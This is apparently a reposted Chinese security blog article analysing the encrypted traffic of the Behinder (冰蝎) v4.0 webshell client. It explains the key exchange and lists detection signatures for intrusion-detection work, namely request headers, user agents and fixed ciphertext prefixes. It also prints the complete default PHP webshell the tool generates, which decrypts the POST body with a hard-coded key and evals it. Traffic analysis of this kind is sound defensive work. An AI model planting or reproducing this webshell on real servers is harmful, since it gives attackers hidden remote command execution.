简介
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测。
特点:
- 交互流量进行对称加密,且加密密钥是由随机数函数动态生成
- 流量层,冰蝎的aes特征一直是厂商查杀的重点
- 主机层,aes相关的API也是一个强特征
针对于这些强特征,在冰蝎v4.0版本中,将特征成为变量。v4.0版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。
冰蝎通信过程(网上的分析文章都说到通信原理,两个阶段:密钥协商以及加密传输)、
第一阶段:密钥协商
1)攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的请求服务器密钥;
2)服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过AES加密后返回给攻击者
传输协议
两部分组成:本地协议和远程协议
本地协议:通过java进行加解密
远程协议:根据服务端语言类型进行加解密
注意:同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。默认的key被修改后,同样本地和远程加密函数中的key也要被修改
一个传输协议必须包含一对本地加解密函数,至少包含一对远程加解密函数(Java、PHP、C#、ASP中的一个或者多个)如下是传输协议中的本地加解密函数与远程加解密函数:
传输协议有以下这 6 种:
冰蝎通信过程
步骤 | 本地客户端 | 远程服务端 |
---|---|---|
1 | 本地对 Payload 进行加密,通过post发起请求 | |
2 | 收到 Payload 密文后,利用解密算法进行解密 | |
3 | 执行解密后的 Payload,并获取执行结果 | |
4 | 对 Payload 执行结果进行加密,然后返回给本地客户端 | |
5 | 收到响应密文后,利用解密算法解密,得到响应内容明文 |
这里以AES加密模式的shell上传到服务器
加密函数是用 Java 写的,并且 key 是默认的,点击生成服务端,则会生成三个 shell 文件,分别为 .php
、.aspx
和 .jsp
default_aes 生成的php shell:
?php
@error_reporting(0);
function decrypt($data)
{
$key="e45e329feb5d925b"; #在v4.0版本中可以自定义密码
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
分析请求和响应
使用 wireshark抓取流量,分析两个数据包(第一包用于确认连接,第二包用于获取信息)
第一包:密钥协商:冰蝎确认被攻击端与本地能够进行加解密,或者进行数据传输
AES加解密工具网站
1、https://www.toolhelper.cn/SymmetricEncryption/AES
2、http://tools.bugscaner.com/cryptoaes/
进行aes密钥解密:使用默认密钥进行解密
请求报文获得AES解密后的php代码
响应报文获得AES解密后的php代码
“msg”是一段经过Base64编码的字符,是以请求报文中content经过Base64编码,然后再AES加密后生成的。都是为了绕过Content-Length。
base64解码后,status对应的是 success
第二包:在第一次传输完成后,冰蝎确认被攻击端与本地可以建立传输,执行命令,返回给本地客户端,本地进行解密。
冰蝎流量特征
1、Accept字段
冰蝎的通信过程中会携带以下Accept字段,在进行数据通讯中会携带Accept字段
Accept: application/json, text/javascript, /; q=0.01
2、Content-Type字段
PHP站点:Application/x-www-form-urlencoded
ASP站点:Application/octet-stream
3、User-agent 字段
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
4、长连接
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。
Connection: Keep-Alive
5、固定的请求头和响应头
1)PHP站点默认口令Default_xor_base64协议加密流量特征
请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
2)PHP站点默认口令Default_aes协议加密流量特征
请求字节头:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK
响应字节头:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7
3)JSP站点默认口令Default_xor_base64协议,aes_with_magic协议,Default_aes协议,加密流量特征
响应字节头:QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ
6、PHP webshell 中存在固定代码
$post=Decrypt(file get contents("php://input"));
eval($post);
7、JSP webshell 中存在固定代码
参考文章
https://blog.csdn.net/miraclehw/article/details/129701611
https://www.cheetah-lab.com/?p=159
原文始发于微信公众号(sec0nd安全):webshell工具——冰蝎webshell流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论